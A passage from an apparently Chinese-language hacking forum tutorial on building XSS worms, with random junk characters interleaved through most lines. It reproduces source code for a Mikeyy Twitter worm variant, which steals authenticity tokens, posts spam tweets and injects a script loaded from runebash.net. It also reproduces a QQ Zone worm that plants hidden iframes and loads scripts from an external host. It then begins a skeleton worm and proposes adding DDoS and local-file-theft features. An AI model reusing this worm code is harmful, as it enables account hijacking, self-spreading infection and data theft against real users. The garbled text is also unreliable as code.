4. var _0x6687x2,_0x6687x3=false; $ N& K- Z1 H+ w, ?, f) p- r9 u2 ~
, h4 S; {8 i4 |8 \3 N 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }
# ^( q: @) S* N1 k d& `$ J
8 [% J- l' E. W9 |0 r& } V! c- E$ y 6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } / O' g9 U0 @" ]; s
8 i m5 j1 b8 X* h
7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
' i$ R0 D0 q& `7 Q% w
* j! z) L, k! `; b; g8 j 8. catch(e) { _0x6687x2=false; }; }; }; 0 i' C! t) g' M, w H1 N; O7 S/ O J
复制代码第六版: 1. function wait() { 2 g5 m3 e. [# a( E1 y" D
0 V- I! K! s9 x6 ?# W D
2. var content = document.documentElement.innerHTML;
: L( ^1 x+ |3 x% |1 C+ G+ k b* t' Z9 U) g' {9 o. e/ F, c
3. var tmp_cookie=document.cookie; - t9 \6 i* `" Z2 g( a l4 C
! B4 G& D( T/ W; @2 U$ I 4. var tmp_posted=tmp_cookie.match(/posted/); 4 _+ R# e2 D" O9 t/ K d
& ~# ?, a" V; P s9 J, ]% z
5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
( n- _( W3 d; W& `
6 L' s7 I) ~- i/ y4 P5 H 6. var authtoken=authreg.exec(content);
' }0 w$ v% M W& D' ^+ q6 O4 @+ L3 `- T9 v. C |
7. var authtoken=authtoken[1]; 8 u% I. u% h$ x# x
: S. A) z, d0 b+ K v8 Z: Q 8. var randomUpdate= new Array();
, M6 m& r) O$ V# ^4 a! [$ ~8 \- n3 R. [4 T6 Q9 }6 Q
9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
" i4 }7 p; a& t8 [. Q! o. H6 j+ [8 p/ X4 L
10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; + s k# i, w! o" M1 c: d
+ b9 r1 @5 W2 z/ x
11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
5 U! }* n& `, L
1 f8 }( ?* I( r$ ?. c1 Q 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; 4 z$ d D' X) B3 k& G" S
* }! B( f+ h2 | M+ b 13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; 8 z5 { a; r0 j- Y8 r* b4 \ z# {
$ `( n. a" G. z/ g 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
Z. e5 ]1 n3 x m7 ~1 d9 F
9 G4 v6 D# R+ ~0 { 15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
/ |# H6 X$ w" p# Y, |3 U' ^( {) b) H$ M
16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; ! J7 \/ K) s, `
- v0 D7 { {+ k
17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy."; 3 c. Y8 R! @2 k' F: n( H1 j% }7 b
1 b# P4 L% j1 M
18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
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19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
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7 K, V; o# u. Q" f5 }; o i 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
! c3 Z1 B; Z6 m! m3 c, N/ U4 n: K% K
& h# k+ C6 F$ y: Z 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
& Y) d2 J; z9 M5 j- d0 [! C: V0 W2 S) s% J" m: j; i3 t
22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF"; - h" u6 D' K; \8 s4 m
& s, i; e* V) T/ ] Z# h# E+ Z 23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
6 H2 C+ }8 O0 q- B E
( X( }$ I0 u1 W7 W3 n% V# p1 x 24. & ?, q5 m( b# d' U ^6 }/ ]: @
! K, Q& {' r9 l9 A' M6 G, ?+ ` 25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
+ _. @! B6 {6 H2 p+ a
6 M" Q0 l- L2 ]5 e2 V( p 26. var updateEncode=urlencode(randomUpdate[genRand]);
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27.
& v1 F/ ^9 z: N) W5 N# q h. H) }& `, h; b$ [. x5 x
28. var ajaxConn= new XHConn();
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5 X7 e/ B) G, k ]5 |/ S 29. ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
. a. b4 |; ^) g! E6 L& \" ]$ \ C. v0 P$ I' U1 g1 w
30. var _0xf81bx1c="Mikeyy";
0 h! b. U7 ^0 b2 L- w! O6 E8 I
1 X6 @4 z+ z( C& t; Y 31. var updateEncode=urlencode(_0xf81bx1c); 8 e: r% m* P6 X O# Q
2 ^' s7 j1 Y* _; F5 Z. d o6 r 32. var ajaxConn1= new XHConn(); ) X; c5 E* |% ^' [
, V3 f5 t' C/ J, N D
33. ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); 7 @3 u, `6 q1 ]2 H( w& q0 X
+ F0 h: |! ?2 o* z* [5 j 34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; , ?) K: w/ y) b2 q
) I) f" A, N9 G* E+ N
35. var XSS=urlencode(genXSS); 8 I" y5 t3 w& V" r
& _$ h1 }% J2 C* b0 I, f- d 36. var ajaxConn2= new XHConn(); F3 }7 u. t4 O M
0 ] W5 A* R& I& ]0 d, t) r% ~9 x
37. ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes"); ! i: M" F; Q% d, h9 H4 c
0 O- l: c0 `+ u! ~) [$ `) b 38.
7 f+ ?. X9 n* f; X, E: s5 ]
6 F9 U6 W. k0 V, ^2 I' @/ \ 39. } ; , J. W0 A/ n, w. H$ m M
. G# o4 b% z' X0 ~0 c2 E+ I$ W
40. setTimeout(wait(),5250);
: f$ {# i* t7 C& P复制代码QQ空间XSSfunction killErrors() {return true;}
2 v8 w1 j6 e# W( y6 ?) i
7 c2 a9 z# D2 R% |& b+ x% Ewindow.onerror=killErrors;. U; v: `- i6 y5 E% e/ h. E
0 \& r, ]/ O+ J' V* \" j
& L" z, ^: M5 M2 W+ S
7 ]! l4 p, _/ I' i5 E" x& ?3 v7 Qvar shendu;shendu=4;" `. @+ ]; M2 ^( `9 g& W
/ V& t# e( Y3 c9 H- h3 u
//---------------global---v------------------------------------------
% {: V& A; [% z2 b% Q: u' E+ L, s1 `$ P0 c( w
//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
7 N1 O; i" b7 G5 G/ l; c0 L
5 J# G& t# V/ a* P% G! p& }" B+ evar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";. P5 H2 d- R; K+ t
. J5 T. w/ @' S" E1 R) a& Q; t
var myblogurl=new Array();var myblogid=new Array();
8 r' V8 O4 F# I/ N7 v6 `5 k' o) r. i
var gurl=document.location.href;) n* {3 s2 j, @' ?$ r0 y
. l+ @% ?& d, s! \: Y
var gurle=gurl.indexOf("com/");6 n5 F0 d8 U& y8 d
4 X O% M* B) A% P# F5 b- j gurl=gurl.substring(0,gurle+3); / x; L5 y5 |: P9 v. a. r* b
9 W4 k" B, M% I }3 i# O1 y var visitorID=top.document.documentElement.outerHTML;# x+ @: f3 Q! Q' H
" N: L" D3 L3 n- V3 P
var cookieS=visitorID.indexOf("g_iLoginUin = ");
! g5 A. g+ G$ ?( \8 t6 d3 D6 I% v: @7 G+ V$ C, ?$ p( I: m- {
visitorID=visitorID.substring(cookieS+14);
( a5 K- B4 _) W/ t! y) g
- ?$ w! H1 l) h+ ?& `5 p r cookieS=visitorID.indexOf(",");
/ C, I, f9 X& X6 j( q5 z% S& u f
visitorID=visitorID.substring(0,cookieS);
& `8 g! }9 L7 @* Z9 L& B' D! p
+ ?8 q! k% s% G) [, a* u get_my_blog(visitorID);" S2 A6 Z' b: h& R9 {# l% @' Y
) a3 ]+ g$ [9 t5 K' \/ ^9 o
DOshuamy();* i! j! @ F! b9 r' ~, u" \
4 k G! `3 D0 w5 ~
3 v6 z5 ?. j1 A Z7 H5 p E7 V2 x5 d, }
//挂马
Z% s# _. |, z# p
1 K% I! |4 A5 R2 qfunction DOshuamy(){" M* c; R e. _9 s! k5 K
( j0 |+ |1 a% c# v! c P4 N4 Q
var ssr=document.getElementById("veryTitle");
( o- u, `; r8 ?
5 ?7 N: J( O0 R; z" Nssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");& g# j8 b# q h1 w6 J
/ P3 E: k" B- d% o: R% T. H% n U}- G$ ^) v" i+ J
+ w) D l; \! X8 R: f
2 B/ I$ G& U- b; ]- u; G; W- c3 i
, @# I5 z0 k1 [2 Z//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
9 q: o) V9 l1 l
3 J7 p' K x. Ofunction get_my_blog(visitorID){
# W+ O3 m$ t/ t" W; |1 v8 i! B9 F
( c8 `7 Z0 d% g( F( v userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
/ W5 ^7 B& o2 y- a. g/ C) H5 q6 [' g+ n8 `4 [ T9 B6 o: o8 @
xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象* P' q7 @- I: `# X9 |, Q, q
: M- n. v3 Y* ^- I& k
if(xhr){ //成功就执行下面的$ J/ F; x3 y. J. A9 F5 G" A
3 M+ H. H. D2 B0 w/ B xhr.open("GET",userurl,false); //以GET方式打开定义的URL
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xhr.send();guest=xhr.responseText;: A. E5 S9 }- Y0 F2 s7 `) V
; r/ Q9 H0 X: H% t# w get_my_blogurl(guest); //执行这个函数
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}/ l3 W8 W+ }, H5 n F
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$ S, x4 g. [' u# T5 U/ t//这里似乎是判断没有登录的! m1 H. }/ `, u
. j+ p. p/ e6 ^$ l
function get_my_blogurl(guest){
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3 k# _9 u* F( m6 R8 Y; Q' `. ]" @ var mybloglist=guest;
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var myurls;var blogids;var blogide;
' X. ?) v& e6 P( @2 K( y5 u& C
2 f5 L, F6 Q1 A. ? for(i=0;i<shendu;i++){/ \: k H; C8 Z. B* x
1 m) ~" D& `: X! ]) a8 `+ } myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了% M( k- x( W! l
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if(myurls!=-1){ //找到了就执行下面的9 l' f# k) x; ^1 ?( K$ o- L
+ `' Y$ I7 l/ M M
mybloglist=mybloglist.substring(myurls+11);
# O9 s# Q5 P( J* L+ r, y' N, d# Q3 O
myurls=mybloglist.indexOf(')');0 Y. C: E3 G2 b. h6 {# ^/ C) Q
" F! M$ Q, w$ X/ n4 Z myblogid=mybloglist.substring(0,myurls);
0 o" d' e0 c% f" |% }( T
8 R1 d3 g; U0 M }else{break;}
( }1 h$ y, z% p$ \- f, B- p/ E* v# g1 V* l; x( J
}) N9 k, S$ |' E& j. ? _
0 n. H( \1 _: n7 t# t& H& `; t' kget_my_testself(); //执行这个函数3 Y4 D: ]' V. E0 C! J4 S
' H/ n. N2 v; k/ l; R}
% F* k; u8 p5 [7 @0 @3 {, D4 z* ~, ^7 r: }0 W& @3 ]/ P
* G/ g' x+ Y0 G/ [6 g2 }3 c0 D
3 A; [% j9 {5 v2 \/ d( I//这里往哪跳就不知道了
- @. S7 U, [; X2 \+ W" p" b1 C5 [& U, c' z" z
function get_my_testself(){
+ e5 W8 g& I' _' v4 ?7 j3 @% H/ u& a7 U& @% T) R" g
for(i=0;i<myblogid.length;i++){ //获得blogid的值
, n# S9 |) ]' {8 q) p1 l2 {9 D. V$ J3 ?( j! d: }, V, e
var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
$ u$ l- k! o& |, U+ m# E1 W3 t8 p; M0 ]- z/ a" {4 y/ V5 x' \
var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象
9 X4 ]* P3 J0 Y5 G' G {
+ e3 L/ N4 x7 l- V8 o7 k& b if(xhr2){ //如果成功
+ \6 j6 U0 }3 a. [# d0 T8 ~% [6 R) g6 p9 l" K
xhr2.open("GET",url,false); //打开上面的那个url' Q+ }+ _1 }+ h3 w# w, S
% s( k* L( k) R% ]% _* P xhr2.send();3 Y0 M4 Z( t# E1 e8 K% L, @- m
. K3 |' V O0 r/ m/ x guest2=xhr2.responseText;
5 W8 T4 p- J/ S3 p4 c, y* @/ p" d: @8 d2 ]+ W; m1 _" o
var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?3 f3 p/ v* c- S
x+ F" z( O5 s& f. L" j
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
- M" u3 P( I, u9 X) c% ~& R& ?, R/ S1 s
if(mycheckmydoit!="-1"){ //返回-1则代表没找到! o- L$ N# V, M% _
( o9 f- l. c6 y& `6 R
targetblogurlid=myblogid; & j e+ q+ X+ R
+ ~& ]1 @* W( ]$ f0 e- m add_jsdel(visitorID,targetblogurlid,gurl); //执行它 f7 C7 S @+ r, G- M Q
4 ~9 Q/ O% A! x" Z" I7 E
break;
* g/ }4 l; }' j- T* e
, u3 s( l: w5 P% z4 ^ O }
) `3 W$ G) T) H! g' g# B2 L0 L
; o4 p/ D7 H. Y; M; K6 B if(mycheckit=="-1"){
! k$ c5 t, l. I
6 _1 U7 C/ Z& M9 K/ \- ^ targetblogurlid=myblogid;
+ p5 T! }$ j+ I4 l2 t' k
. y: U+ Q7 c) S. n3 t# ` add_js(visitorID,targetblogurlid,gurl); //执行它
2 ~9 `2 `$ k4 \5 G5 g+ @7 o
# b) T3 `9 v- L8 R# G break;
5 ]2 ]# @/ k/ t1 M
4 I2 H3 M' y4 B0 N+ g }
5 b; G; J! u5 u
3 j; K7 m1 v! v& T% r. r" g }
' w$ p6 x1 W+ x- t3 S
; t( i( M4 Z' T. p) G}
/ \! n' U7 i% \: A
" e; s4 r. y' y i. A}
" t/ `% [9 Z5 J/ v u9 t7 b, ~) a( W2 {+ o5 z. c
& c# [! }: H& [& i- N
' ~4 D; p, g9 x0 h- E& G//-------------------------------------- ' `% K% \, [4 D) O" }. X
# s# `1 A1 ?2 c% A; y" w//根据浏览器创建一个XMLHttpRequest对象 `. z6 a# T% H
! _5 f# c0 m. S& ifunction createXMLHttpRequest(){8 R( z F' j! D9 ?" }+ F( i8 ?
K. Q6 r6 g5 u) ?" x' F( z var XMLhttpObject=null;
) Z w l8 O" v6 o2 s5 l0 V( D$ o
$ T7 b( v1 u4 O( _% C+ X0 I0 l if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()} 6 T5 o2 _" ]# z3 Q4 \4 a; I
$ m8 X0 t! c0 @: s0 m else 9 o) O2 Z7 A0 P" d
6 W$ G, S1 S$ v, Q' U { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP']; $ u! p; w7 @3 @: [* @. c8 ]
' e+ B. R, q! }& E0 J+ C for(var i=0;i<MSXML.length;i++) 0 A+ P# y9 O+ i7 {+ {5 B+ O% G# |& J
6 [' v5 D5 y% L- `0 b# C9 K {
( |3 c7 h" N$ v+ J3 Y0 z5 R1 @7 V
try 7 y' Y1 P# r6 M+ q4 v) [& ?7 X1 \
+ z) b4 u9 e3 R6 w
{
6 P; D* f3 j+ v4 p
3 B, Z1 }5 k% @1 \7 V8 j7 e k) f! \ XMLhttpObject=new ActiveXObject(MSXML);
/ K: c# z+ _6 P" q7 d5 c9 K! Q
- K, {: Q3 {8 J. a* C E' ? break;
$ I! s8 r9 ^# Z' H' ~' w; q3 q' o B H% ]# ~3 F% ~
}
+ Y! E$ @; N0 N1 C6 Y$ l8 O" i/ }+ k. L- H& ]- c
catch (ex) {
! v0 N0 g7 o" F' U( k- U2 y+ W! |2 q0 ]2 d3 N0 T
}
4 ^3 }; U5 z/ x4 H* K; ^: _4 G0 {4 E9 q2 x% ?) F% o T9 y
} ( k1 a3 u" Z: @
# P( o) Q8 A, r& V
}
4 i8 D) A" Y# K5 U
% ]% ^) z' @+ F( M7 ^return XMLhttpObject;* n# b: C! o6 h6 h1 k
" o' r! @% e# y' A8 Z}
$ S2 G( d# B! C& e( S
9 K5 k5 h! P3 v3 S0 v: {. O! m* ~4 p( O/ E# v! J, I
. U( _# k6 ~& A" D! q3 }& E( U
//这里就是感染部分了
/ E8 D$ G( f! E* v$ s' G
8 R( |/ B- f1 jfunction add_js(visitorID,targetblogurlid,gurl){
( R+ U; s2 g! B+ [0 S& @1 u+ N* c; f* f' d
var s2=document.createElement('script');& k* S/ c) b7 F' U: @! ?
* f. P( ~$ A7 R$ S% r5 W
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();' e: j9 q! z; g
9 U) i" R- {1 b
s2.type='text/javascript';: y& Q, d$ g3 h0 n# e
/ G0 n5 O; o4 T* D/ v
document.getElementsByTagName('head').item(0).appendChild(s2);$ ^" Z& F4 V E
( K- [; F+ C3 z% ]( X. S( c3 u2 I
}
# }' f0 M3 Y2 ^/ a2 a
/ h0 V' W* g+ U$ b' v$ S) ^( `; @: Y5 g8 a
6 H) {" e* f B) ^" i0 n9 g3 X& Afunction add_jsdel(visitorID,targetblogurlid,gurl){; F ]0 o. t4 g p+ M- }" z
- b5 q% s t' d; a" z7 U) w! u0 Pvar s2=document.createElement('script');, Z, e( r4 j$ I; N! _
7 A) e' V+ ^+ I5 f; Xs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();3 T' d0 Y' X5 s. z- U/ |& O
0 `4 O9 Z X2 P" C- Ss2.type='text/javascript';
- D& S" e) C" C; |) A& s) y; |' w o+ z% N" Y- |! f
document.getElementsByTagName('head').item(0).appendChild(s2);" K- R7 f) V6 w7 j9 j' Y8 W
! V& V# N. t; Z' x
}
- Q$ p3 E- h2 ]4 f0 i复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
( _3 }" P- N- m C1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)# y) x4 n, C/ X0 k, v' U" o. E
/ A* ?! l( Z, |$ p9 _) K9 S
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
& E. |! w% f! T$ K6 M! g6 D4 r/ Y3 Z: [+ w4 G! N
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
) {' I, |' m8 M+ s! z7 O, A/ ~$ e) y) W! p/ I' C
6 K+ k4 c4 ~$ w! D3 a& F# H9 V1 k
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
! {1 C) [6 X+ p+ s" W5 a0 R
4 }! y) l( G/ f4 _, h首先,自然是判断不同浏览器,创建不同的对象var request = false; G" M) w. y3 s# \3 C% j/ [9 n; |. j
& I' v* P0 ]& W- X8 ?; t" C8 t
if(window.XMLHttpRequest) {
9 @! I; U. C6 ] Y
! i [# a+ j$ m( h' V. @" [request = new XMLHttpRequest();
1 U+ P3 _, @6 ~* u+ `: P. ^; o) ^) E% Y# h7 ~
if(request.overrideMimeType) {# j7 I0 d; @7 s8 S! D; I
5 o4 ~% g; L2 {6 Arequest.overrideMimeType('text/xml');
! _1 y' l6 r3 ~) D6 `
$ C4 ~0 h( w1 Y7 K+ s}
7 i: T- Y0 G* Q. F
$ s* G* v1 K. _/ ^} else if(window.ActiveXObject) {
) W1 D$ c3 X- X# |( A# `, E. ?2 b: x3 t7 O3 A. S2 k
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];8 v Z3 E& A& M9 g7 O% O' x7 v6 o
- p2 p0 G1 p p/ n: T' Nfor(var i=0; i<versions.length; i++) {0 ^5 l" z! L1 S, W/ O. ?7 C Y+ `
9 m1 m- x. z8 }) Z8 S- T( `try {! H# y$ E# P/ u1 O
& V+ T* O0 y8 @. q
request = new ActiveXObject(versions);4 ]; o. B9 }& L' A0 p7 B5 |- I
1 x3 K$ t6 `% L
} catch(e) {}6 u8 o- h# K/ s) ^. p& [0 J; ~( [4 d
2 [- C' p! ?2 K2 l* A3 L* `4 L% a
}+ H+ N: f9 M' J! E1 Q
/ n+ A0 r' P6 d: X
}8 d0 ]' C! W* ?% o8 J N
( C2 |1 V6 k9 S$ g! K8 P+ |; TxmlHttpReq=request;
1 k7 C# u4 V5 o复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){
" {3 \) i; p0 _/ y
( V3 L0 S" m' u& {. j/ G var Browser_Name=navigator.appName;( X0 A! l' j4 b% w4 i
& a* b) b! F5 l r var Browser_Version=parseFloat(navigator.appVersion);
$ s, Q% C' k d/ e! {( \4 ?
1 k/ b) \4 ` W var Browser_Agent=navigator.userAgent;
$ q! V7 i% A$ w6 ~; j. l. j* N- L$ I& E( t* R* o: n3 F
$ ?% D4 C% u/ {
# ~5 @+ Q0 G2 V- ~# T! x I var Actual_Version,Actual_Name;
6 `* V. l C, A8 A
% |# q# T1 @# u C7 | ) a" p( o" z, R& M$ [& W
- q8 Z! V' T1 r& f var is_IE=(Browser_Name=="Microsoft Internet Explorer");
4 V2 s3 i& m% Q; y8 ^/ H: Z
/ U* d' A/ D! S/ k7 b var is_NN=(Browser_Name=="Netscape");! p' J' S0 f9 P, ?# G4 u3 j5 Q
6 S* v# F/ a; T7 v- {
var is_Ch=(Browser_Name=="Chrome");9 V2 c5 _2 [% }1 J
! F5 x% w4 A* g% h& ^ B
/ ]# O" K) e1 E" ?: ^7 ]3 d# }$ O. `
. _3 s( b9 E* \1 V9 N if(is_NN){. s4 l4 k( J2 y/ Y" G
( l# h+ }" s; e% H5 @% T7 V
if(Browser_Version>=5.0){
' n" k* d2 x, \" B! Q* U5 B6 C' A! z6 A6 b8 a/ |$ B
var Split_Sign=Browser_Agent.lastIndexOf("/");+ b$ T0 o' u$ Y5 _ A# Y
. ^' \' O$ [% f, G' Y* q& q; R3 e var Version=Browser_Agent.indexOf(" ",Split_Sign);
% r) H5 ], y1 ^8 x! z( ~
1 c+ f6 I6 `% y6 O4 u% }% f var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);6 m) S+ g- x+ t
+ e2 ^- t6 a9 B Z9 P
( K; q" ? n3 r5 E, ?! f& P% E! \5 G6 s$ h" \8 m$ K) |
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
; a5 w/ Z- k4 e7 o9 C Y5 c! _/ Z: O
( ?: ^% Y! M3 K6 T0 c Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
1 y# ?+ b% Z# F+ m# \% E r0 \+ X c: [: ~3 O
}
- {4 ~8 L" \6 o: f
; w/ V! n2 t( Y5 Q else{. P# Z/ x0 V! z- x9 ?
o2 P+ X: Y+ X
Actual_Version=Browser_Version;# S9 T' o! C$ }0 k6 k: j( x
' F6 G6 t, c/ B Actual_Name=Browser_Name;
3 p% a. |$ J0 g7 I% ?; Z0 B
3 k' ?* `5 F; a+ m }# n6 @# Z' K9 i% v. R* r1 `6 B
# x8 N8 B3 h% _- d' R. W" Y6 A/ _
}4 V3 k$ c: c5 P, @: J
8 X0 f4 j3 o' H% j1 f7 B
else if(is_IE){; f. M/ @3 K7 A @! V, L5 ^
" i C+ {1 ~/ ~4 e+ `" M d
var Version_Start=Browser_Agent.indexOf("MSIE");
0 t p* G, R: [& V M# [2 c3 e
, h" t4 {2 S i5 M" V4 n var Version_End=Browser_Agent.indexOf(";",Version_Start);6 j" ~! ^( k! u5 x8 y
/ H- H% ?. a* H+ W Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)4 v4 H, }9 D+ B5 ? ^
# ]* M6 q: O" Z1 } @
Actual_Name=Browser_Name;
7 P. q1 } E3 U" W! H* y& P: O8 B4 \, ^) ?4 |, z9 g+ m+ i5 f' k
/ ?5 t; s; q# C6 J6 ^) g" _- V- n3 J8 s+ d; [
if(Browser_Agent.indexOf("Maxthon")!=-1){
* }4 u% h# ]: p
1 B8 H3 U; j" j. C) N3 r9 n7 H4 i Actual_Name+="(Maxthon)";
2 T# V+ r4 a) ?
! o& g! ~4 h# p' ]1 g X3 P+ j5 ` }
6 h9 x* o4 ]3 ?( _
- x- T% h" W+ p. h0 ^0 D else if(Browser_Agent.indexOf("Opera")!=-1){
/ l* [2 b# A/ w# k6 ^( M t5 T2 }& u( Q0 o; n6 u2 m
Actual_Name="Opera";4 b/ q _0 } o7 {' u; ~
K1 ~: y( ?; Y9 q
var tempstart=Browser_Agent.indexOf("Opera");2 G( P" C( p5 d- P- m9 k. X- Y
- h) t. N; p1 c* g7 S$ K var tempend=Browser_Agent.length;
4 P7 h. L1 ^0 A9 B5 }9 s
0 i3 P$ m" E- ~! Z/ H5 Z Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
& ]6 ^0 w- f' s. _
1 ]+ C6 L. _9 d: i }
- m" `1 D1 S/ H j
/ I# C+ w* [$ p9 ^ }
' \( @) L& b" D- p
1 d) s7 \" \$ X$ u8 h else if(is_Ch){ q1 ?" V: w/ M* w5 J( d' w
! w* `; I' Y6 ^: o' t7 c- V9 A' `
var Version_Start=Browser_Agent.indexOf("Chrome");
8 X( @2 d, S% y
2 `8 I1 }) j. z: ?& w9 I% Q: @ var Version_End=Browser_Agent.indexOf(";",Version_Start);& u8 g R' |4 X0 g. ^; ~4 y
& s5 I, d* M P5 U3 ` D6 [ Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)8 _' {/ V5 S5 @3 t6 E3 s
2 q( l& c4 i4 n/ u# P5 _) F: O Actual_Name=Browser_Name;
. w' l6 k9 e8 _0 g9 o I. ^4 ?; ?8 a1 ?
3 [% O; a8 Q$ }. Y& @$ j4 B) ^
9 S0 f$ W3 A7 H/ q. c if(Browser_Agent.indexOf("Maxthon")!=-1){
' P0 y* c4 Q; p; Y, F
! S: [0 P1 W8 B+ H+ `# W Actual_Name+="(Maxthon)";) ^: w/ x5 Y/ P% A" {! D# |; ~
' O- a; a! E* N/ q! f$ n& p, J }
5 ~; b% L$ P$ k3 J; d* f( K, W F! k! ?# A4 i+ X0 ]% u
else if(Browser_Agent.indexOf("Opera")!=-1){
$ _$ J, R$ s6 W$ W" j$ t Z# h. B. h1 M9 U' E1 S
Actual_Name="Opera";& ^: J8 V+ P3 z" Z
1 }- F& q8 \% P; J. P$ ^3 Y2 Y var tempstart=Browser_Agent.indexOf("Opera");3 v8 ?; Y( z9 @& n
: j5 R2 n3 h9 {! v9 n+ x! ^0 K var tempend=Browser_Agent.length;
/ i# V. ?" M1 ^1 c2 F, P8 ]4 C& n* k3 U, R( V
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
o- w% m% I1 F2 L. ?4 r1 F) \0 i4 m4 C- f" }+ K: y! w4 ]
}* ^! m/ B% i1 v2 e J$ N
# f# z4 f7 \7 h; _
}
; Q. d$ ?% n9 z/ F2 C1 i2 b. ?% l9 ^' u; n
else{
# C4 F4 J! a' ^* p# T2 s# O4 [) P# l" O! R3 b. w0 u$ [- z0 u
Actual_Name="Unknown Navigator"& u0 C+ W, _( l6 Q& ~' J- D; M1 P9 I
8 m! S. G- d& k9 }( o: m8 ]
Actual_Version="Unknown Version"
$ V9 J+ Q' P) P
2 V3 D* E* G( V& { }$ b% E- |2 ^( }" S2 V
" [/ [7 ?; J1 x7 |
' Y; X9 q2 E- U# U
9 T7 q6 i/ I, H6 n/ H5 [4 u navigator.Actual_Name=Actual_Name;# k4 o- A0 O/ f N* b( d
W- @/ I; ] m0 w- w' l
navigator.Actual_Version=Actual_Version; M) K$ H$ T! j( }/ w# T: ^9 I
& \: u# N* ]4 X+ |! ~ + h2 P" f8 M/ _( R$ S. U4 X1 Y
8 @& o Q1 s/ v* S; o1 g this.Name=Actual_Name;; i2 X. L3 H- q
/ D2 L# n# O& B, p7 i; w this.Version=Actual_Version;
: @% O- Y7 [8 S u4 ~- S
